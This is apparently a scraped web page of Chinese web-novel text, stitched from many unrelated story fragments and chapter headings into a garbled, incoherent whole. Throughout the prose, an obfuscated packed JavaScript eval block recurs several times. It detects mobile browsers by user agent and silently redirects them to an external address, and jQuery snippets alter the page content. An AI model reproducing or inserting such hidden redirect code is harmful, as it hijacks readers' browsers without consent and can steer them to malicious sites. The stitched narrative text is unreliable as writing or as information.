d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702539|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让江慕温的心下意识地跟着“咯噔”了一下。 其实村长不是公务员的编制,是由村委会选举出来的,三年一届也就有点补助而已。像华西村这种富裕的村子当然有人愿意当村长,但是卧龙村这种地无三尺平,人无三两银的地方也没有什么油水可以捞。 梁乾两眼冒火。你要是死了该多好!也不对,记得死之前把药方给我。 但是随着南宫舞死亡之后十二金花消失了,难道夏九姜的控股之术是十二金花教的?如果是这样的话倒也可以解释。 但是,如果你默默地决定选择背叛,那东方以南绝对主义不是企业未经国家批准毕竟,东方以南的工作管理人员主要有这么多人。东方以南必须能够做到公平公正还是如何为社会公众提供服务? 疾风雪乃听着他说的这么露骨,眼神又恶心很想拿地什么东西来遮挡身体,但是手脚又被捆住,完全不能动弹。 最最主要的就是她带过来的甜酒版权在她自己手里,如今签了契约往后银钱也是教给她的,李家不能直接获取,再者她也不希望李家拿她的银钱拿习惯了养成不好的习惯,所以她就是故意给李家找个谋生活儿的。 第114章 将军大恩,小人没齿难忘! 早间。 祝家庄的主家大宅里挤满了人,祝家老太公祝朝奉,三子祝彪,教习栾廷玉。 还有李家庄李应,扈家庄老太公与扈三娘,都来了。 还有许多祝家庄死伤之人的亲眷,乃至还有一些说得上话的长辈。 便是把这座大宅的中堂挤得水泄不通。 苏武坐在头前正中,左右看了几番,开口:“带人犯来 正是因为如此,所以李炜根本的不在意,直接的把攻略交给了霸者天下两人,霸者天下的族叔把攻略收起,并没有第一时间观看,这需要亲自的试验证明,就算是观看也看不出一个所以然来,还不如不看。 哪怕那容颜醉人,笑容迷人,但楚风看在眼里除却森冷的杀机之外,就没有其余的情绪了。 本来的两名稀有英雄现在被李炜委任不断的运着李家的黄金,没有和李炜一起的返回。 凌汐的目光再度看向许允,而这一次。他的目光,不再只是单纯的冷。而是透露着一丝危险的意味。 “如你所言,难道黎脂烟等人已经被困在这个密道里面了?”李云绝有着质疑的问道。 “哈哈,我说莺莺丫头,你这位北大的高才生不会不知道易安居士李清照是咱们济北市人吧?”王玉梅笑问道。 但吟欢肯定的是,这种毒素就是鹤顶红!方才见到天娇的脸色和症状,她便是已经断定了。只不过不肯死心,想要治好她。 韩林将双手举到紫烟面前,那些被寒潭水寒气冻开的伤口以肉眼可见速度愈合。 就这样我跟她又沉默了一会,我还是打开了手中的伞,示意自己走了。 不会吧?真的中了?看着自己的验孕棒上面显而易见的两条横线,顿时觉得天昏地暗起来。 “好了,好了,说不过你!看棋,看棋!”庄爸爸立刻躲开了庄妈妈的视线说道。 毕竟,此前云中子的气运如被人参钓着,是因为幽冥神爪;此刻,云中子也是在抽出了幽冥神爪后,气运见底的。 “就像是”什么?追风说到这里,却绝口不提,还摇了摇头,好像要把什么念头,从他的脑海里面甩出去一般。 “峰,怎么了?”叶梦琪玉手捧着眼前让她心潮澎湃的俊脸,娇声问。 男人的白色衣衫有些凌乱。背后沾了不少的泥土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702540|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。夜紫菡沉默着帮他拍打干净。第一时间更新又把头发上沾着的草屑拿了下來。才开始去清点人数。 虽然此刻暮云叆叇,虽然此刻夜已漆黑,但光明总会来的,总会回来的,只需等待,只需守候。 原本他应该可以离开了,但是发泄了之后,下意识却又回到了这里,然后在这里一呆就是一个晚上。 空气中隐隐的还可以听到一阵恐惧的低鸣,随后缠着夜紫菡的脚的黑色细线也都瞬间消失不见。 唐风将一件高提梁后出戟的仿竹节紫砂壶拿在手中把玩起来,他觉得这件紫砂壶不像是民国紫砂器,时代应该更早一些。 话罢,屋内其他的太上长老都点了点头,随后归于沉寂,像死人一般的一动不动,整个屋内,整个冬天变得寂静无比,只有黏稠的灵气在整个空间之内不停地流转。 一时间我们都说不出话了!看来今天幽灵他们拆散了一个家庭,还间接杀了一只失去孩子的野猪。 不过,像中国这种超级大国,所拥有的寻仙学院分院肯定就不止一所了,光是西藏就有两座学院,而且其中还有一座与众不同的寻仙狱府,完全由精英组成的学院。 第115章 差充京东两路兵马副总管 府衙之内,又是贼寇尸首一堆,活贼三个。 石秀时迁,倒是不在此列。 说起来,说仔细,祝家庄之事,时迁偷鸡,石秀还愿赔偿挽回。 乃至三人本已逃出来了,本不曾打杀人命,石秀只说赶紧寻小路快走,杨雄看得追来的人,便是拿着朴刀且住,还主动不走了,只说一个来杀一个、两个来杀一双。 便也说 四下里一片的寂静,耳中只听到虫儿低鸣,校园仍旧是校园的模样儿。 宋驰并没有问徐婉怡为什么会烂醉如泥,也没有和我多说什么,只是非常客套说了一句:“谢谢。”便将门关了。 程凌宇采集了灵药之后,便来到了绝谷外,发现这是一处上古战场,寸草不生是因为被高手灭绝了生机。 并且,对于修士而言,能够进入落日城这样的大门派,也是一种荣耀,一种向往。 青水也愣了,这么长的名字,不过名字很切合,特别是说完这酒的名字后,神色各不相同。 以内家拳虎豹雷音的功夫,引动一身的法雷炁,调了全身旺盛气血,吼了这么一嗓子。 我这才发现,我一开始就没有打算杀了上官瑾,从来都没有希望上官瑾死过。 我回到卧室后,坐在镜子前看向有些发红的肌肤,许久,才抹了护肤品上床睡觉。 安歌在电话亭里蹲下身来,为什么到现在她还是想不起来,差一点,只差一点。 王凡看着此景,心头不免一沉,随后眼睛一亮,掏出至少木益给他们的没有用完的解毒丹,含在嘴里,忍受着来自地底的莫名压力,身子缓缓向下沉去。 走了数十步,已到门前,十数人高的大门,令人不自禁地感受到庄严肃穆。 “嘿嘿,跹水,我找到好东西了,尝尝看……”亘沙俊美的面上一贯是冷傲的,只有面对跹水时。才会露出孩子般单纯的雀跃和笑容。他递上一只玉质酒瓶,满面期待地望向他的哥哥。 “妈的,结个婚也不让人安心!”暂时只是仅凭感觉的猜测而已,没有人会相信的,反而会怪他破坏气氛。李尔唯有把所有怀疑埋在心底,一切等找到证据再说。 此时西蒙正在按照李尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“之前发生了什么?”严真皱起眉头,言语中已然有愤怒之意了。 天鹅不知道,其实他刚刚之所以会连连失态,那是因为他怕天鹅对他生疑。如今看到天鹅并不上当,选择了相信他,他便什么都不怕了。 “hat?“贝尔惊道,于是,他通过后视镜看到自己车子后面真的有着一辆车子在跟着,凭借贝尔的能力肯定能够判断出这是真的在跟踪。 大家纷纷点头,樊星河建议大家再试几次,直到第五次之后,那中心处突然爆发出五色强光,直冲天际,很是壮观。 皇上生于宫廷,长于宫廷,哪里会相信这种骗人的鬼话?要是他盖了玉玺,他就没什么价值了,以七皇弟的心狠手辣,哪里还会有他活命的机会? “你……”苏离愣了半天没说出一句话来,这秦素素本给她一种超然于世的感觉,而现在她的形象完全可以用来拖地了。 “你想和我比军事推演?”白狄脸色微微露出嘲讽之色,只有她身边的五当家凝视着苏离,目有深意。 正当她考虑要不要联合大家的灵魂抗击一下时,忽然银盏之下的黑色水质突然往四面八方退缩而去。 “是本王让夏侯少夫人来这里拜别皇后娘娘的,你们退下吧!”一个清淡而不失威严的声音忽然响起。 不仅如此,唐老还要求徐长卿给苏哲派了一个八穴六脉的贴身保镖。虽然实际上,苏哲并不需要这个贴身保镖,但却苦于无法开口拒绝。 那声音即使是喧杂的大街上也传出了一段距离,喜婆吓的浑身冒汗,一旁的随从都跟着一哆嗦。 通过这次炼制丹药,龙武再次发现了一个惊人的秘密。那就是以往炼丹使用的褐色丹鼎,在自己乌龙妖丹进入元婴初期后,炼丹之时,这丹鼎的另一个用途浮现在丹火之! 狰狞的面孔、残忍的笑容,左脸上有一条长长的刀疤一直延伸到脖子上,这就是凌宇陷入黑暗前看到最后的场景。 十一月的夜晚已经有些冷意,凌宇对寒冷酷热倒是不在意。可是大半夜的想找辆车跑一趟长途还真不容易,只能找一间宾馆住一晚上明天再走了。 “没用的,你出来的第一时间,不向我们的王下跪,便已是死罪!”凌暴冷哼一声。 那是位仅剩的天骄,此刻宛如困兽般,爆发出惊人的法力,其背后的异象乃是某道身影,如同神明般显化而出,抬手镇压向青年。 李鱼露出一个热情的笑容,然后张开了双臂,灵儿马上飞奔过去,投入了李鱼的怀抱。 “都特么说了,老子是差钱的人么?草,你特么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702542|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为,老子是付不起这钱,才为难你的?”那木航顿时破口大骂道。 曾经爷爷还说过,白家的主人是这个世界上,最俊美的一个男人。 李鱼知道吴霞主要是在沈阳活动,叶老头子在那边给她埋了很多线,都是属于灰色世界的。 可当周权火急火燎的驾车赶到“一品楼”时见到大门紧闭,暂停营业的牌子任然挂在大门上。 一切都在刹那之间,大门被撞的支离破碎,巨大的响动,让所有人都停止了动作,扭头看向了大门。 紫竹岛在深海之中,一路之上余飞凡自然碰到不少的海兽,不过在滴水剑和天一真法下这些妖兽根本就无法阻拦。 无数道目光,顺着声音移动后全部锁定在了声音传出之处,正是那个直到现在还没有放弃的凌飞。 苏云染差点被自己的口水呛到,这男人是在害怕她给他下点什么乱七八糟的药? 本来就不太好的张世佳听到这些饶议论声,一张脸更加红了,同时脸色沉了下去。一直都被人赞赏的自己,今竟然当众给这么多忍这样了? “是谁?”玉玲珑放出本体红莲妖火,护住周身,右手则托着化元鼎随时准备逃遁。 那丫环也不算太无辜,本身就是徐家安排的眼线。而且当时的情况是徐浪非礼她,就算失手伤了徐浪也不算她的过错。 但是,飞船还没有飞出多远,在飞船的前方,忽然之间就出现了大批的人类舰队。 白画见了月纤纤,不用想也知道。这是韩墨临老相好的,自己成了破坏人家好事的人。 随着一声低喝本来愤怒的石像竟然平顺起来,眼中的白光也开始慢慢变暗并最终消散。 第117章 你就是江州船火儿张横?(二合一,万字大章) 三个被押跪当场的活贼,此时都去看石秀。 却见石秀转头而去,并不看那三人。 如此,苏武立马心中一动,刚才还是试探之言,话语里带着诈唬,此时看石秀转过头去了,心中更知,这三人里,定然有那有名有姓的大贼。 苏武倒是不急,先认真看了看跪在地上的三人,那三人见苏武来打量,立马低头去。 王大宏吃了一惊,惊讶的看着吴邪,然后回头不敢置信的看着王家老长辈。 “那个,许大师,你说过咱们也都中毒了,可否麻烦帮我们解毒?”一名佣兵挠着后脑,不好意思的说道。 韩王现在本来就对他有很大的不满,这件事情虽然有些烫手,但是如果办好了,他就能够重新找回原来的权威,但是若是办不好,那么他估计他就会彻底的没有翻身之日了。 “那就这样吧,海运出去辛苦几年,那边打好了底子再回来担任集团公司职务。”刘清涟拍板。 慕白当然不知道下边地底层职工们的想法,和厂里所有员工宣布自己的存在之后,简单吩咐了曲有宁和甄洋一些注意事项,便返回了自己的公司总部。 对了,这里要提一下,鞍马八云这个插班生,最后是不会参与比赛。毕竟从纲手的口中得知道,鞍马八云的幻术极强,足以能够有媲美上忍,要是让她参加这场对抗赛的话,肯定会影响这场比赛的公平性。 “你也知道你爹是什么人,根本就是个老古板,还有些愚忠,不知所谓的正义感。”凌教主一提起这个便有些气。 而这头鸟一抓不中。飞上了空中,又要一再次向秦天奇抓了来。而这个时候,萌萌身影一闪,护在了秦天奇的前面,对着空中的巨鸟发出一声一声的嘶吼之声来。 尽管他不太喜欢王谧性格,但就目前来说,与王谧交好,更有利于河西遥控建康。 同一时间,暗黑神使血里斯的分身也出现在了暗黑神殿之中。大殿都被一股暗黑之气笼罩,没有人能看清,暗黑主神到底身在何方? 劳力等几个市领导陪着霍尔金娜和尼娜走进包厢,分宾主坐下。霍尔金娜并不知市里已经通知骆志远过来出席晚宴,见组织方在自己身边留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702543|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个空位,还当是还有一个市里的官员要参加,也没放在心上。 09“对了,你当年到底是怎么死的,又是怎么被余墨轩给抓到的?”上次在绝户寨她没顾上回答这个问题,一直拖到现在都没说过。 “你……”双头魔狼王被辰星一句话顶得哑口无言,毕竟他们是有言在先的,要是换回来,如果是他得到了火神宫殿,其他人也一样不得再干涩。 邓宁临不过是随意的一句托辞,谁能相信他是半路绕了一个弯过来?肯定是专程过来出席活动,只不过提前没有给下面打招呼而已。 “月神大人在沉睡之前沉吩咐过我,叫我一定要找到‘混’沌之力。她曾说过,‘混’沌之子前往孤月星之日,就是她苏醒之时。如果我没有猜错,月神的苏醒应该与你有关,所以你必须前往孤月星一趟!”孤月郑重地道。 “那你们觉得这四人该如何处置呢!”平抚了一下自己的情绪凌天弘淡淡地看了一眼三人道。 不过青山几个却注意到被常秋称之为沉鹰的那家伙似乎对成荣颇为亲近,两人之间又说有笑。 第118章 天子左右,能有几人 景阳冈上,鲁达等了三天,已然是望眼欲穿,也是这个世界上,鲁达已然没有几个真正交情深厚的人了。 这个时代并不能实时通讯,所以鲁达只能这么等着,在景阳冈收资助钱的地方,一坐就是一天。 正也坐得百无聊赖,就听得一旁有那盘查的声音:“你们几个倒也不像商户,若是没有财货,只管一人交个一钱罢了……” 一霎时,水瓶与鸡蛋齐飞,香蕉共柿子一色,铺天盖地般的飞向了舞台,就像是下了一阵暴雨。 现如今随着日钵发出全面侵华的战争,很多居住在沿海的百姓,只要有能力或关系,都会想方设法下南洋求生。毕竟,百姓对于战争,无疑是最害怕跟恐惧的。 当耀眼的光芒散尽之后,那一艘被击中的中型飞船已经消失在宇宙中了,而且在于那艘中型宇宙飞船为中心的数十公里之内,所有的生物全都消失的一干二净,将近一百公里之内,所有的生物全都死亡。 当她看见他的时候,手中的孩子,便是差点落在地上,若不是身边的素心,恐怕,连她也会摊在地上。 修罗门徒被罗刹鬼王一震,顿时哆嗦了一下,急忙用匕首在马军师的手臂又划开了一道口子。 功必赏,过必罚,保证相对公平的上升通道,努力把自由民转化为支持者,把支持者培养成协助者,通过永久的土地租赁,让优秀的协助者成为维克多的拥护者。 “这些家伙,都是老狐狸,不见兔子不撒鹰!”始毕可汗口中喝骂。 到了这个时候,一些玩具厂商要是还没有意识到其中的商机的话,那就可以去买块豆腐撞死了,也就在电影全球首映后的第五天,国内国外很多玩具生产商都来到了天禧影视集团,与他们洽谈玩具授权的问题。 做为挺进纵队的司令员,陈明自然知道训练的重要性。精兵是如何来的,除了实战之后,平时的训练同样很重要。但高强度的训练,必须有充足的伙食保障才行。 巨大的光罩之中,浓郁到极致的血色法力在翻滚肆虐,“轱辘轱辘”仿似液体,将那血邪的身形彻底覆盖其中。 箭嘴鱼全身长约五米,撞击力非常凶猛,木筏不时就会巨颤一下。好在四人都非一般人,全都使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702544|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出千斤坠的功法,双足好像在木筏上生根了一般,只要木筏不破,就不用担心会掉下水去。 伴随姬晴渐入佳境,气剑的数量开始成倍增长,直至布满整个天空,犹如漫天星辰。 见到突然闯进来一个陌生的外国人,时桑榆顿时一脸警惕的看着里奥。 “还是不行,太尴尬了,我还没做好准备,还是先住酒店,回头再找住的地方。”秦心瑶连连摆手,脸色晕红。 而此时,包裹住袁旭和龙妈的光芒也消散了开来,袁旭和程乐儿现在是瑟瑟发抖中,心中既震惊又向往,因为这战斗场面的视觉冲击实在是太震撼了,传说中的尊级强者,而且还被击杀了,这怎能不震惊?怎能不向往? “哎呀,喝一点嘛,这可是纯正的82年拉菲,喝一点对身体有好处。”伍君豪不由分说的给颜如玉倒上了一杯酒。 而时桑榆也有些不好意思的挠了挠头,她没想到自己的到来会破坏这么一副和谐的画面。 尤其是秦峰提出了一个四季旅游的概念,使得这里成为一年四季都可以找到旅游概念的新型旅游胜地。 第119章 先见童枢密! 虚洞级四重,即使围杀也无妨,韩东应对自如,从容不迫,甚至对战局变化全部成竹在胸。 他们说的可是这是御马中最“好”的马,而不是什么最“温顺”的马。 第二天傍晚,一直不曾停歇的流民队伍终于抵达洛阳,这里,已经备好了船只,众人乘船南下,只需一日便可抵达江都。 她拥有比例完美的纤细身材,通体像是用晶莹剔透的水晶琢磨而成,就在毫无征兆的情况下凭空显形。脸上佩戴暗金色的蝠翼面具,头盔上方,延伸出一对犄角状的闪电形标志。 “我们可以算是机械生命体网络吸收了旧时代人类残留下的量子服务器的产物吧。”2看起来已经开始讲自己的由来了。 弑君?!好大的狗胆!待他出去,这事儿他非调查清楚不可。当然,是悄悄的调查,是绝对不可以让皇帝知道了。而现在,先传消息出去,才是正理。 “你是什么人?”他像是提着一只兔子一样,将其提在手里,同时利用精神力搜索那个男人的身影。 没有多少路了,当林艾她们穿过这一片熔浆区的时候,就只剩一扇门,阻隔着她们和外面了。 龙崎皆人的爸爸是一个白领上班族,家里也买了电脑,事实上,他们几个家都有电脑,只是电脑的型号不同而已。 这是黑鱼妖的声音,随着它的话音一落,顿时整个龙宫猛的一震,而那颗心脏中,仿佛有一股浩大的力量在爆发一般。龙宫摆动,上下左右前后,没有任何的方位,所有的方位也全都在动。 要知道,就算是在森之精灵部落中,也没有人敢用这样的语气对她说这样的话。 “母后,可以了,是朕让表姐出去的。朕想让她帮忙看看瀛海风光。”北堂星辰还是够义气的。 贝恩看了下四周,发现潘尼怀斯竟然不知道什么时候不见似乎逃走了。 “拉下去,鸩杀。”北堂弈高座于最上位的菩提座上,面色却是冰冷到犹如执掌暗夜的修罗。 所谓属性共享,就是共享宠兽的一部分身体属性,包括力量、体质、反应速度等等。 这时,一个粗犷的声音响起,那名藏在草垛里的壮汉捂着手臂走了出来。 到时候自己回城,一个村姑随随便便就甩了,还能找到自己不成? 临安城作为南宋的都城,经济繁荣,商业昌盛,陆路、水路都非常发达,并且城池巍峨,宽大护城河围着临安城牢不可破。 不过知道隋唐故事的杨爽、张士诚都知道,对方冰冷的神色下,藏着有情有义的心。 她回到神殿还未来得及坐下,两股强大的威压出现在浮空之城中,浮空之城的民众尽皆被压得匍匐在地,心中大骇。 范筱希吸了吸鼻子,冷力勤亏欠了秦海鸥这么多年,也是該到他补偿的时候了。 当天晚上睡觉前,我趁胖妞出门,在病房门内用符水画了几道暗符,防止那东西来找上我们,毕竟我这一身的阴血可是招东西得很。 我嗜脑异性弄的血红色骷髅头,一脸的雾水,这家伙显然感觉到了榴弹对自身的威胁,它想靠骷髅头来抵挡榴弹? 宋俊熙看也没有什么机会和我再单独说话了,索性拿出相机拍照,春光无限好,自然不能浪费了。 吴玥闺房的这道门好开多了,张海涛将20个10块的红包从门缝塞进去,没一会儿里面的闺蜜们就把门给打开了,吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702545|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玥穿着一袭洁白的婚纱,硕大的蓬裙占据了大半张床面,含羞带娇地坐在床上等待着张海涛的到来。 断定了这一点,我不动声色的稍微动了下身子,暗暗的蓄力,手里的匕首也握紧了,看着左边那个被我伤到的家伙,也缓缓的逼了过来,我暗暗的是自己冷静下来,目光却是一时偷偷的瞄着远处的街口。 宋俊熙点了点头,我一下子不说话了,那不是代表着我和宋俊熙不能坐同桌了? 范筱希笑得温柔,眸光一转,看见杨沐沐和蓝逸轩挨在一起,杨沐沐还靠在蓝逸轩的怀里,看起来,两人的关系是改善了不少。 萧麒跟着皇帝回了皇宫,只是每日依旧带着母妃为他定制的面具,日复一日的过着平淡无奇的日子,他闲暇时总是会想,自己何时能再见当初的少年,可是听着外头的喧闹,他嘴角的笑意又淡了些。 那是柔和的青光,这光芒化作一条条绳索,如蛇一般向后方而去。许多孩子都惊叫起来,我回过头,愕然的看到,那青光索,将孩子们一个个缠住。 简鹤行这才悠悠醒转过来,由于失血过多,简鹤行如今已是奄奄一息。然而简鹤行那双疲惫痛苦的双眼却依旧紧紧盯着面前的凌赤,嘴中苦涩,也是难言满心的痛苦,嘴唇只是不住的翕动着。 凌赤也是趁着这个机会,迅速赶上,仅由一拳发出的“折花拳”依旧是威力不减,拳头一中,“飞刀游龙”徐晓飞立时便是吐血倒地不起。 她后来说起,想来惟一漏算的便是宣成帝竟然会大发雷霆把他关到天牢。 且听得又是“咔擦”清脆的好几声响,凌赤终于是难忍剧痛,那些难以收纳的真气终于在凌赤的体内彻底爆发出来了。 第120章 苏武苏子卿 进得枢密院去,里面倒也并不宽大,除了中院一个议事列班用的大堂,其他地方都是一间一间的小屋。 苏武只管跟着那小吏往里进,走人的回廊里,人来人往,却多并不是武夫之辈。 直到一个侧间的小屋,那小吏转头来,依旧骄傲:“请吧,相公在里面呢。” 苏武自己迈进去,里面就两个人,一个微胖的汉子端坐 从上面到湖底大概有五六米高,从上边俯瞰下去,下面全都是尸体和骸骨,有些是那些被邪化的尸体,有些是被它们吞掉的法师,不知道那连接在他们身上的管子里有什么腐蚀性的东西,一会工夫就把人腐蚀成白骨了。 他头顶两朵赤红色的罡云,随着气息的吞吐上下摇摆,一双冲天眉不怒自威,光华锃亮的油水皮肉下,隐藏着极为恐怖的爆发力。 突然,周云峰猛然扬起脸,眼中充满了坚毅之色,随即战意在眼中不断涌动凝聚。 阿碧目瞪口呆地看着她,觉得这位姑奶奶真是一日笨过一日了,自己身上领了差使,她却要自己在门口罚跪? “建木之树所在的空间虽然与建木大世界相连,但却被魔主与败天封印,此次祭台,可以通往那里,你们上来吧”。 要是没猜错,只要有风,瘙痒感就会消失,可是,这些液体怎么处理。 “也好!”周云峰低头看去,发现已经有无数双眼睛正看着他们,所以顺从的点头道。 玛德,咋回事?我心中一愣,正准备将身子缩回来,一只黑色的幺蛾子朝我扑了过来,那幺蛾子约摸大拇指大,是从黑影消失那个方向扑过来。 良久,对方才说话“我的身份,岁月久远,早已经磨灭了这些记忆,现在,连我自己都不知道自己到底是一种什么样的存在了,或许,我是残留在这人世间不愿意散去的孤魂野鬼吧?”。 帝国议会讨论的结果是,原南明十二省和三个直辖区,立刻实行普选。北方十三省实行过渡期制,过渡期为十年,十年之后实行普选。青海、乌斯藏、北疆、南疆四省,过渡期为十五年。 的确活不成了,颈动甚至连带脊骨都被子弹巨大的动能撕碎,除非真有神仙降世,否则绝对不可能活下来的。 在这个收视率破3就已经是现象级电视剧的年代,收视率差点破五是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702546|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概念? 许糖一腔怒火无处发泄,看向夏芊芊的眼神更是狠厉万分,她一巴掌拍在桌子上,吓得周围的人噤了声。 李福这时也已经走到了陈傲天身前,抽出一把冒着寒光的匕首,将陈傲天身上的肉一刀刀割下。 孙可不断后退,眼泪止不住的往下流,她想跑,可却又怕别人要她赔钱。 最嚇人的是罗牧脸上的那道极长的刀口,从罗牧眼角下一直划到了下颌处,几乎把脸上的皮肤都划穿了,里面的肉都翻了出来,此刻仍旧向外一股股流着血。 她跌倒在地,还没回过神,紧接着雨点般的耳光便一个接一个的落了下来。 楚青云一声冷笑,就欲帮自己的乖徒儿挡住这对于他来说可有可无的飞刀。 又一个海浪打了过来,水花中掠过几道的一闪而逝的影子。只因它与海浪的颜色浑为一体,不细看极容易被忽略。 必须去,为什么不去呢?这段时间我也要休息一下,你就去那里排练吧,我妈妈那里应该很专业的,什么样的服装都有,什么样的鞋子什么样的鞋跟都有,教练也是经常参加大赛的。你可以去试一下的。 第121章 全部杀光,一个不留! 斜眼扫扫她的身材,以及那个又圆又大的屁屁。顿时神色古怪了起来。 只是有一点,唐军同样沒有提及,就是关于爱美丽这个癌细胞身上表现出來的怪异,已经不止一次有迹象表明,她不像刺客,而更像是和唐军一样,在追踪刺客。 “真的那么好笑么……”看着吕倩一副要把肠子笑断的样子。苏暖满脸黑线。 “王兄來见本王也是为了近日的事吧”淡淡的声线落下,凤逸寒的眸光微淡。 从南安域北域斯顿城到西域忧心城的距离,和安南城到忧心城的距离相差不大,他用不着返回安南城之后再去忧心城。 跟在后方的四十七和一个队员,倒是穿着黑西服,非常专业的样子。 晚上楚昭南穿着夜行衣出去了,杨菲儿坐在房里,胆战心惊的等他回来。 “如果你不是我弟弟,此刻就是死人了!”风千战说话也是冷冰冰的,以前自己对着他确实有着愧疚的心,但事情已经过去这么久,再加上那次谣言的事情,此刻沒了愧疚,有的是敌对和防备。 “依旧是个好天气呢。”苏暖低头看向落在掌心的一缕暖阳,轻叹一声,“可是今后享受这温暖阳光的时候不会有很多了吧……”语气中略略有些遗憾和伤感,然而更像是下定了某种决心。 这种人不难辨认,看身形和行动姿态,通常是练过几手的人,此外看穿着打扮就更好辨认,这样穿着证明是社团的人。这类人在社团中通常被称为“打仔”,专门吃打饭的,和普通的那种只会吆喝的混混又不同。 当这些歌和肥伦互有关联后,周舟仔细一看,他还真觉得这三首歌的制作思路有点像。 从某种意义上来说,他或许比秀星更具备邪恶同盟所必需的才能。 高层战场僵持之际,下方的黑龙护法和永夜之皇,已经再一次对顾明发动了攻击。 然而,等少年再次想挥剑时,楚尘发动游龙步,身形如同鬼魅般闪到他面前,一把抓向少年的喉咙。 听到这四个字,老天师跟周真人的面色都是一变,满脸惊骇的看向贺安,周真人更是果断开口道。 雅典娜声音飒爽,金色盾牌在天穹之上,化作纯粹的金光,狠狠支撑起了漆黑天幕。 江尘思考了很多,唯独没有想到法海的真正实力,其实就是这样。 只见酒店一楼的大堂里密密麻麻铺着一层尸首分离的尸体,上满满是苍蝇和蛆虫,一股浓烈的恶臭味迎面扑来。 此刻,漂亮国内,神级教官白胜隐藏在某个下水道,不耐烦地听着耳机的命令。 只是这一世,韩楚淇已经见过太多强大的人了,再看向这个前世差点阴死自己的家伙,已经和看蝼蚁没有什么两样了。 “不必。”叶天昂立马起身去自己的房间。“站住。”一名身穿着黑色道服。头发花白的老者立马厉声喝道。叶天昂虽然有点醉意。但听到这句话的时候。还是立马站住了脚。立马收敛了一下。。 “好,我听你的。”天鸣转过头来点了一下,然后转头慢慢地消失在了陈克杰的视线。 